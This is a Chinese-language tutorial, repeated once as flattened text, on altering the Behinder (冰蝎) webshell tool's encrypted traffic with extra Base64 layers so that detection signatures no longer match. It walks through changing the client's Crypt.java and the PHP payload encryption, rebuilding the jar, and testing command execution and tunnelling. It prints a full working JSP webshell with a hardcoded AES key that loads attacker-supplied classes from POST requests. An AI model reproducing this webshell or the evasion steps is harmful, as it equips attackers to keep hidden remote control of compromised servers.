简单的冰蝎流量魔改
字数 1047 2025-08-27 12:33:54

冰蝎流量魔改详细教学文档

前言

本教程详细讲解如何对冰蝎(Behinder)工具的流量进行简单魔改,通过修改加密逻辑来改变流量特征。教程基于Java实现,适合有一定基础的网络安全研究人员学习参考。

一、准备工作

1.1 获取冰蝎源码

有以下两种方式获取冰蝎源码:

  1. 下载冰蝎工具,使用IDEA自带的反编译工具反编译
  2. 使用GitHub上已整理好的反编译代码:Behinder-Source

二、核心修改步骤

2.1 修改Crypt.java加密函数

  1. 定位文件Crypt.java

  2. 修改原则

    • 不需要修改public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)函数
    • 修改具体的加密函数如EncryptForPhp
  3. 示例修改(增加Base64编码):

// 修改前
public static String EncryptForPhp(String data, String key) throws Exception {
    // 原有AES加密逻辑
    return encryptedData;
}

// 修改后
public static String EncryptForPhp(String data, String key) throws Exception {
    // 原有AES加密逻辑
    return new String(Base64.getEncoder().encode(encryptedData.getBytes()));
}

2.2 修改Crypt.java解密函数

  1. 定位函数Decrypt函数
  2. 示例修改(增加Base64解码):
public static byte[] Decrypt(byte[] bs, String key) throws Exception {
    // 在函数开头添加Base64解码
    bs = Base64.getDecoder().decode(new String(bs));
    // 原有解密逻辑
    return decryptedData;
}

2.3 修改Payload加密逻辑

  1. 定位文件net.rebeyond.behinder.payload.java下的Java代码文件

  2. 修改原则

    • 查找所有包含Encrypt()函数的文件
    • 修改加密逻辑与Crypt.java中的修改保持一致
    • 不同语言payload需要分别修改(PHP、ASP等)
  3. PHP示例修改

// 修改前
function encrypt($data, $key) {
    // 原有加密逻辑
    return $encrypted;
}

// 修改后
function encrypt($data, $key) {
    // 原有加密逻辑
    return base64_encode($encrypted);
}

2.4 修改Webshell马

  1. JSP马示例修改(增加Base64解码层):
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
    U(ClassLoader c){super(c);}
    public Class g(byte []b){return super.defineClass(b,0,b.length);}
}%>
<%
if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(
        new sun.misc.BASE64Decoder().decodeBuffer(
            new String(
                new sun.misc.BASE64Decoder().decodeBuffer(
                    request.getReader().readLine()
                )
            )
        )
    )).newInstance().equals(pageContext);
}
%>

三、打包与测试

3.1 打包步骤

  1. 使用Maven执行package命令
  2. 使用生成的Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar文件

3.2 测试要点

  1. 测试命令执行功能是否正常
  2. 测试内网穿透功能是否正常
  3. 注意:数据库连接功能可能出现bug(已知问题)

四、待解决问题

  1. C# DLL文件处理

    • 需要特殊方法处理C# payload中的DLL文件
    • 欢迎提供快捷处理方法和思路
  2. 数据库连接功能bug

    • 目前尚未调试解决
    • 欢迎有经验的研究人员提供解决方案

五、总结

本教程详细介绍了冰蝎流量魔改的关键步骤,包括加密函数修改、payload修改和webshell马修改。通过简单的Base64编码示例展示了魔改思路,实际应用中可根据需要采用更复杂的加密方式。注意保持客户端和服务端加密逻辑的一致性,并充分测试各项功能是否正常。

冰蝎流量魔改详细教学文档 前言 本教程详细讲解如何对冰蝎(Behinder)工具的流量进行简单魔改,通过修改加密逻辑来改变流量特征。教程基于Java实现,适合有一定基础的网络安全研究人员学习参考。 一、准备工作 1.1 获取冰蝎源码 有以下两种方式获取冰蝎源码: 下载冰蝎工具,使用IDEA自带的反编译工具反编译 使用GitHub上已整理好的反编译代码: Behinder-Source 二、核心修改步骤 2.1 修改Crypt.java加密函数 定位文件 : Crypt.java 修改原则 : 不需要修改 public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType) 函数 修改具体的加密函数如 EncryptForPhp 等 示例修改 (增加Base64编码): 2.2 修改Crypt.java解密函数 定位函数 : Decrypt 函数 示例修改 (增加Base64解码): 2.3 修改Payload加密逻辑 定位文件 : net.rebeyond.behinder.payload.java 下的Java代码文件 修改原则 : 查找所有包含 Encrypt() 函数的文件 修改加密逻辑与Crypt.java中的修改保持一致 不同语言payload需要分别修改(PHP、ASP等) PHP示例修改 : 2.4 修改Webshell马 JSP马示例修改 (增加Base64解码层): 三、打包与测试 3.1 打包步骤 使用Maven执行package命令 使用生成的 Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar 文件 3.2 测试要点 测试命令执行功能是否正常 测试内网穿透功能是否正常 注意:数据库连接功能可能出现bug(已知问题) 四、待解决问题 C# DLL文件处理 : 需要特殊方法处理C# payload中的DLL文件 欢迎提供快捷处理方法和思路 数据库连接功能bug : 目前尚未调试解决 欢迎有经验的研究人员提供解决方案 五、总结 本教程详细介绍了冰蝎流量魔改的关键步骤,包括加密函数修改、payload修改和webshell马修改。通过简单的Base64编码示例展示了魔改思路,实际应用中可根据需要采用更复杂的加密方式。注意保持客户端和服务端加密逻辑的一致性,并充分测试各项功能是否正常。